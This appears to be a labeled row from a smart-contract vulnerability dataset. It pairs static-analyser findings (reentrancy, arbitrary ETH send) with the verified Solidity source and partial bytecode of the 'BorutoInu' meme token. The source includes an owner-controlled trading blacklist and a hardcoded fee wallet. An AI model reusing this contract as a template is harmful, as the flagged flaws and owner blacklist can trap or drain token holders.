0000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6135f28161316a565b81146135fd57600080fd5b50565b6136098161317c565b811461361457600080fd5b50565b613620816131a8565b811461362b57600080fd5b5056fe457468657265756d205261696e6368752028726169636875636f696e2e636f6d2945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209e250f7c73df4f1d16100ba2bb0598c37305d661af68136049a6c664c95944c064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,182 |
0x325d1bb659f45e4d245b40b37498c882eaceefed
|
/**
*Submitted for verification at Etherscan.io on 2022-04-27
*/
/**
✨BORUTO INU ✨
,----,
,----.. ,/ .`| ,----.. ,--.
,---,. / / \ ,-.----. ,` .' : / / \ ,---, ,--.'|
,' .' \ / . : \ / \ ,--, ; ; / / . : ,`--.' | ,--,: : | ,--,
,---.' .' | . / ;. \ ; : \ ,'_ /| .'___,/ ,' . / ;. \ | : : ,`--.'`| ' : ,'_ /|
| | |: | . ; / ` ; | | .\ : .--. | | : | : | . ; / ` ; : | ' | : : | | .--. | | :
: : : / ; | ; \ ; | . : |: | ,'_ /| : . | ; |.'; ; ; | ; \ ; | | : | : | \ | : ,'_ /| : . |
: | ; | : | ; | ' | | \ : | ' | | . . `----' | | | : | ; | ' ' ' ; | : ' '; | | ' | | . .
| : \ . | ' ' ' : | : . / | | ' | | | ' : ; . | ' ' ' : | | | ' ' ;. ; | | ' | | |
| | . | ' ; \; / | ; | | \ : | | : ' ; | | ' ' ; \; / | ' : ; | | | \ | : | | : ' ;
' : '; | \ \ ', / | | ;\ \ | ; ' | | ' ' : | \ \ ', / | | ' ' : | ; .' | ; ' | | '
| | | ; ; : / : ' | \.' : | : ; ; | ; |.' ; : / ' : | | | '`--' : | : ; ; |
| : / \ \ .' : : :-' ' : `--' \ '---' \ \ .' ; |.' ' : | ' : `--' \
| | ,' `---` | |.' : , .-./ `---` '---' ; |.' : , .-./
`----' `---' `--`----' '---' `--`----'
☎️Telegram :-https://t.me/borutoinuportal
👩💻Website:- https://borutoinueth.com
*/
pragma solidity ^0.8.7;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BorutoInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "BorutoInu";
string private constant _symbol = "BorutoInu";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x078890290e89DAcfec18194a70A28FcfaD25B76e);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 8;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(20).div(1000);
_maxWalletSize = _tTotal.mul(30).div(1000);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e2b565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612932565b6104b4565b60405161018e9190612e10565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612fcd565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612972565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d91906128df565b61060c565b60405161021f9190612e10565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612845565b6106e5565b005b34801561025d57600080fd5b506102666107d5565b6040516102739190613042565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906129bb565b6107de565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a15565b610890565b005b3480156102da57600080fd5b506102e3610969565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612845565b6109db565b6040516103199190612fcd565b60405180910390f35b34801561032e57600080fd5b50610337610a2c565b005b34801561034557600080fd5b5061034e610b7f565b005b34801561035c57600080fd5b50610365610c34565b6040516103729190612d42565b60405180910390f35b34801561038757600080fd5b50610390610c5d565b60405161039d9190612e2b565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190612932565b610c9a565b6040516103da9190612e10565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a15565b610cb8565b005b34801561041857600080fd5b50610421610d91565b005b34801561042f57600080fd5b50610438610e0b565b005b34801561044657600080fd5b50610461600480360381019061045c919061289f565b6113c3565b60405161046e9190612fcd565b60405180910390f35b60606040518060400160405280600981526020017f426f7275746f496e750000000000000000000000000000000000000000000000815250905090565b60006104c86104c161144a565b8484611452565b6001905092915050565b6000670de0b6b3a7640000905090565b6104ea61144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612f0d565b60405180910390fd5b60005b81518110156106085760016006600084848151811061059c5761059b61338a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610600906132e3565b91505061057a565b5050565b600061061984848461161d565b6106da8461062561144a565b6106d58560405180606001604052806028815260200161374960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068b61144a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb09092919063ffffffff16565b611452565b600190509392505050565b6106ed61144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190612f0d565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e661144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90612f0d565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b61089861144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c90612f0d565b60405180910390fd5b6000811161093257600080fd5b610960606461095283670de0b6b3a7640000611d1490919063ffffffff16565b611d8f90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109aa61144a565b73ffffffffffffffffffffffffffffffffffffffff16146109ca57600080fd5b60004790506109d881611dd9565b50565b6000610a25600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e45565b9050919050565b610a3461144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab890612f0d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b8761144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90612f0d565b60405180910390fd5b670de0b6b3a7640000600f81905550670de0b6b3a7640000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f426f7275746f496e750000000000000000000000000000000000000000000000815250905090565b6000610cae610ca761144a565b848461161d565b6001905092915050565b610cc061144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4490612f0d565b60405180910390fd5b60008111610d5a57600080fd5b610d886064610d7a83670de0b6b3a7640000611d1490919063ffffffff16565b611d8f90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd261144a565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000610dfd306109db565b9050610e0881611eb3565b50565b610e1361144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790612f0d565b60405180910390fd5b600e60149054906101000a900460ff1615610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee790612fad565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000611452565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fc557600080fd5b505afa158015610fd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ffd9190612872565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561105f57600080fd5b505afa158015611073573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110979190612872565b6040518363ffffffff1660e01b81526004016110b4929190612d5d565b602060405180830381600087803b1580156110ce57600080fd5b505af11580156110e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111069190612872565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061118f306109db565b60008061119a610c34565b426040518863ffffffff1660e01b81526004016111bc96959493929190612daf565b6060604051808303818588803b1580156111d557600080fd5b505af11580156111e9573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061120e9190612a42565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506112776103e86112696014670de0b6b3a7640000611d1490919063ffffffff16565b611d8f90919063ffffffff16565b600f819055506112ad6103e861129f601e670de0b6b3a7640000611d1490919063ffffffff16565b611d8f90919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161136d929190612d86565b602060405180830381600087803b15801561138757600080fd5b505af115801561139b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bf91906129e8565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b990612f8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611532576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152990612ead565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116109190612fcd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561168d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168490612f4d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f490612e4d565b60405180910390fd5b60008111611740576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173790612f2d565b60405180910390fd5b6000600a819055506008600b81905550611758610c34565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117c65750611796610c34565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ca057600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561186f5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61187857600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119235750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119795750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119915750600e60179054906101000a900460ff165b15611acf57600f548111156119db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d290612e6d565b60405180910390fd5b601054816119e8846109db565b6119f29190613103565b1115611a33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2a90612f6d565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a7e57600080fd5b601e42611a8b9190613103565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b7a5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bd05750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611be6576000600a819055506008600b819055505b6000611bf1306109db565b9050600e60159054906101000a900460ff16158015611c5e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c765750600e60169054906101000a900460ff165b15611c9e57611c8481611eb3565b60004790506000811115611c9c57611c9b47611dd9565b5b505b505b611cab83838361213b565b505050565b6000838311158290611cf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cef9190612e2b565b60405180910390fd5b5060008385611d0791906131e4565b9050809150509392505050565b600080831415611d275760009050611d89565b60008284611d35919061318a565b9050828482611d449190613159565b14611d84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7b90612eed565b60405180910390fd5b809150505b92915050565b6000611dd183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061214b565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e41573d6000803e3d6000fd5b5050565b6000600854821115611e8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8390612e8d565b60405180910390fd5b6000611e966121ae565b9050611eab8184611d8f90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611eeb57611eea6133b9565b5b604051908082528060200260200182016040528015611f195781602001602082028036833780820191505090505b5090503081600081518110611f3157611f3061338a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611fd357600080fd5b505afa158015611fe7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061200b9190612872565b8160018151811061201f5761201e61338a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061208630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611452565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120ea959493929190612fe8565b600060405180830381600087803b15801561210457600080fd5b505af1158015612118573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6121468383836121d9565b505050565b60008083118290612192576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121899190612e2b565b60405180910390fd5b50600083856121a19190613159565b9050809150509392505050565b60008060006121bb6123a4565b915091506121d28183611d8f90919063ffffffff16565b9250505090565b6000806000806000806121eb87612403565b95509550955095509550955061224986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122de85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190